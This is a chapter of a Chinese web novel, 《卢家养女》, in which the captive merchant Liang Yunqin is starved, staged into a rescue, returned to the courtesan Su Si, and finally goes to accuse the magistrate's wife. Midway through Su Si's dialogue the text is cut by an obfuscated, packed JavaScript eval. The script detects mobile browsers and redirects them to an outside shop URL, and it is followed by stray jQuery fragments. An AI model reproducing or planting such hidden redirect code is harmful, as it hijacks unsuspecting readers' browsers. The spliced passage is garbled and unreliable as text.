107. 貔貅

作品:《卢家养女

    果然,义庄案一提,便如一粒粒石子入水,荡起一圈又一圈民心的涟漪。


    不少人感佩周冶的公正,“周大人既然重查此案,定是这个案子有问题。”


    “周大人是站在老百姓一边的,定有冤情。”


    “这个案子,那是当官的领了功劳,可那涉案的数十人,死的死,数十个家庭,散的散。周大人不官官相护,还要来撤查,这是在保护我们啊!”


    绥陵城大概从没这些日子这么民情激荡过,也没有这么割裂过,支持周冶重审翻案的,反对周冶扒皮鞭尸翻丑事的,各有拥趸。


    而梁云钦这些日子在地牢里,也过着与他这些年完全割裂的日子,夜夜笙歌宴饮,成了没日没夜的挨饿受冻,心绪一开始还激荡,后来就连激荡的力气都没了。


    他万万没想到,在衙门大牢里,因着熹园那位小姐的照顾,尚且过得去;等出来了,反而进了真正的苦牢。那“梁夫人”少有露面,但底下人却每日都来熬鹰,每每吊着他的精神,折磨得他神志涣散;等他要死不活,好不容易重新吊起点精神,便又开始新的一轮。


    这日,好不容易又熬过一阵,梁云钦瘫在硬木板榻上,肚子饿得咕咕直响,在这没有一点声响的地牢里听起来格外响,又格外凄凉。


    突然,在这咕咕声的间隙,他仿佛听见一阵极轻快的脚步声。


    乍一听,他几乎以为是错觉——人的脚步声怎么能这样?但那声越来越近,听着也越来越明确。


    可他饿得前胸贴后背,脑子也被熬得糊住了似的,根本无力多想,心道,爱谁谁,爱咋咋吧。


    可那脚步声径直到了他这儿就停了,紧接着就听牢门上的锁链当啷一轻响,像是被人托着了,免得让人听见。


    他这才费力地挪动那沉重的头颅,转头看去,正好见一个黑影推门走进来,抬手放在唇边,朝他“嘘”了一声,低声道:“我来救你的。”


    是个女子。他顿时一个激灵,手脚并用地费力爬起来,看了看外面,警惕地问:“你是谁?为何要救我?”


    “小姐让我来的,出去再说。”那女子说着便来解开他手脚上的镣铐。


    熹园的人?梁云钦一阵喜,是了,此时有这个可能,也有这个力量来救的,也就是熹园的小姐了。脱开锁链,他忙扑下床,跟黑衣人要去,但手脚却不听使唤,落地先摔了下去,咕咚一响。


    黑衣人也顿在了原地。


    他吓了一跳,僵在原地,仔细听了听,似乎没什么动静,这才又跟着黑衣人往外去。


    地道的尽头骤然开阔,点着烛火,像是个房间。梁云钦正想着,那里的守卫可被放倒,余光就瞥见那烛火照亮的墙上,倏地有个黑影闪过。


    “谁?”


    黑衣女子一惊道。


    梁云钦只听得这一声,便颈后一疼,晕了过去。


    黑衣女子拉下面罩,转身往后,抱拳笑道:“姐姐好身法,要不是事先知道,我都察觉不到有人在此。”


    雨歇拍了拍手,踢了踢地上的梁云钦,这才抬脸对红荔道:“你的身法也不赖!”


    红荔吹亮了火折子,点亮墙上的火把,二人一起转向地道尽头。孟珂从那头走了过来。


    “小姐,接下来怎么做?”雨歇问。


    孟珂低头看着地上的梁云钦。他那原本馒头一样鼓的白胖面颊,已经塌了下去,皮肉一时无处附着,耷拉着,像极了沙皮狗。


    她冷冷地道:“扔回邀月阁去,交给苏姒。”


    “这就扔回去了?他证据还没拿出来呢。”雨歇道,“我看他也熬不住了,再收拾几日,没准儿就拿出来了。”


    “扔回去,才好继续挤。”孟珂笑道,“他这样的人,外人挤的,哪里有他自己吐的干净?这好人坏人、恩人仇人,还有爱人,轮番上阵;利诱、威胁,软的硬的,手段使尽,任他是貔貅也得吐干净了!”


    “是!”


    等孟珂转身而去,雨歇这才微微下蹲,又嫌弃地扇了扇风,朝外头大叫了一声,“来人!”


    两个守卫从小房间快步跑过来。


    雨歇捂着口鼻,朝地上抬了抬下巴:“抬出去!”


    ***


    等再醒来的时候,梁云钦睁眼就看到苏姒那张焦急如焚的脸。


    他一脸恍惚地看了看四周,笑道:“我竟然梦到回邀月阁了。也好,哪怕是梦里也好啊!温衾软榻,美人在侧,好酒好肉,永远不要醒就更好了!”


    “老爷!”苏姒见他表情恍惚,又喜又忧地唤道。


    梁云钦却还是只顾傻笑。


    苏姒抬手在他脸上轻轻拍了拍:“老爷!醒醒!”


    “我不要醒!”


    见他还是目光涣散,苏姒手上陡然用力,“啪啪”地来回抽了两下,“老爷!你醒一醒!”


    梁云钦被抽得一懵,两颊随即火辣辣地疼了起来。见周遭的一切都还在,他这才惊道:“我……我这不是在做梦!”


    他挣扎着要坐起来,苏姒忙去扶。


    他左右看着,喜极而泣,救命稻草似地抓着苏姒道:“我……真回来了?姒儿,我真的回来了?”


    “回来了!”苏姒心疼地看着他,点头笑道。


    “我还以为,我再也回不来了!”梁云钦竟抓着苏姒,孩子似地哭了起来。


    “老爷,你受苦了!”苏姒轻轻拍着他。


    好不容易待他平复了下来,苏姒却又哭了:“老爷,这些日子你到底跑哪儿去了?你怎么成这样了?”


    梁云钦顺着苏姒的目光,低头看了看自己。暗牢中一直不曾点灯,他好些日子没看过自己模样了,如今一看,发现自己那腆了多年的肚子小了下去。他摸了摸肚子,笑道:“饿的。”


    “饿……”苏姒埋入他肩头,泣不成声。


    温香软玉入怀,哭声撞入心里,梁云钦当即觉得里里外外都一阵酸软,一时感怀,如今遭了难,陪着自己的竟是这个……自己从来只当玩物色的烟花女子,这些年在她身上的银子也算没白花。


    苏姒在他肩头装着哭,头却躲得尽量远,口鼻埋在自己手臂上,免得被他身上的味儿给熏死。


    梁云钦哭笑不得地道:“我才好了,你又哭上了,还有完没完了。”


    苏姒忙借机直起身子,借着抬手拭泪,扭开脸偷偷吸了一口气,口中仍带哭腔道:“我还当再也看不见你了,差点……差点没去阴曹地府,找你去了!”


    这一看才发现,她看着像是一夜都没睡,眼睛都熬红了。


    “傻子!”梁云钦抬手要去摸她的脸,这一动,才觉着颈后被牵扯出一阵疼痛,也提醒了他,又被人袭击了,恼火地道,“这些人,怎么都喜欢打这儿!再打得断了!”


    想起正事,他忙问道:“对了,我怎么回来了?我是怎么回来的?”


    “老爷你不知道?”


    梁云钦摇头。


    苏姒睁着一双大眼睛,茫然道:“昨儿个夜里,我都睡下了,听见外头敲门声,只响了两声就消失了,我还只当是有人在闹。还好唤人去开门看了看,结果就见老爷你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999204|193939||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一个人晕坐在门口地上。”


    梁云钦看了看自己,似乎没受伤。是了,那黑衣女子既然是熹园小姐的人,又被派来救他,想必功夫定然不俗。只是,他自己冷不防被人偷袭打晕了。这也不耽误那人将自己救出来,还送回了这里。想是熹园的人不想在这种人多口杂的地方留痕迹,惹是非,这才放下人便离去了。


    既然此前在小院藏不住,还是让梁夫人的人给绑了;如今把他送回邀月阁,放在大庭广众之下,倒也是个路子。


    “老爷这是知道怎么回事了?”苏姒看着他脸色道。


    他点了点道:“大概想明白了。”


    苏姒又道:“我想着,大概是熹园的人?”


    见此,梁云钦也不瞒了,笑着看她,感慨道:“说来,还是你的功劳。要不是你,我不会抱上那佛脚,这次也许就没命活着出来了!”


    他伸手拉过苏姒的手,“你可当真是我命中的福星!能给我指贵人的大福星!”


    苏姒屏着呼吸,冲他笑了,乘他不注意,又悄悄扭开了脖子,偷偷吸气。


    梁云钦抓着苏姒的手,轻轻抚着,心下已经不由盘算了起来。如今,梁夫人必定千方百计想夺他手中的东西,一旦得到,必要他死。而熹园如今虽两次都暗中助他,却始终不明着保他。


    现如今,他也该尽尽力了,自己越有用,熹园才越可能保他。况且,这不只是替熹园办事,更是为自己除去最大的威胁。


    想定了,梁云钦看了看外面天色,问苏姒:“现在几更了?”


    “四更了。”苏姒一直屏着呼吸,突然被问,飞快地倒了一口气,才又道,“管几更呢,好好歇息才是。”


    “你去备些吃的,”梁云钦摸着肚子,做了决定道,“等天一亮,我就去趟衙门。”


    ***


    “衙门?”苏姒惊道,“去衙门做什么?老爷你都这样了,身子养好之前,哪里都别去!实在有什么事,吩咐一声就是,我代老爷跑一趟。”


    “这事你代不了。”梁云钦笑道,叹了口气,“再说,我如今哪里还能安心躺着?便是我想躺,别人也不会容我安心躺了。”


    苏姒似懂非懂地点着头:“那……那你好歹也再歇一会。我灶上熬着药呢,我这就再去熬些粥。咱们把药喝了,肚子吃饱了再去。”


    说着,沾了沾眼角的泪,起身下去了。


    梁云钦抬手摸在多少年都没再瘪过的肚子上,劫后余生,再饱受折磨,如今再看着这房里的一切,听着火炉上咕嘟的水声,目光不由得贪恋了起来。


    这日,邀月阁的人,看着一个瘦脱了相的人,从苏姒的房里出来,在众人疑惑的目光中,走出邀月阁大门,径直走到斜对面,将一张寻人告示揭了,径直往衙门去。


    等衙门的登闻鼓再被敲响的时候,周冶顿时便明白了,孟珂将梁云钦放出去之时,不是弃他了,而是要再逼梁云钦一把。


    难怪她那时笑道:“现在是只有证人,但马下就能有证据了。”


    她是要让他自己主动站出来,指证梁夫人,交出证据。


    “让他走到绝路,别无选择,再主动为她开路。”周冶笑道,“好手段!”


    她不会把事情寄托在郑氏身上,也没单凭一个刘宝,更不会信任梁云钦,但她会把每个人可能的空间都要用到。


    登闻鼓前,好些过路人都没认出梁云钦这个人人熟识的富商来。他垂下两只已经不是自己的胳膊,不自觉地抖着,喘着粗气道:“草民梁云钦,状告陈太守夫人梁氏!”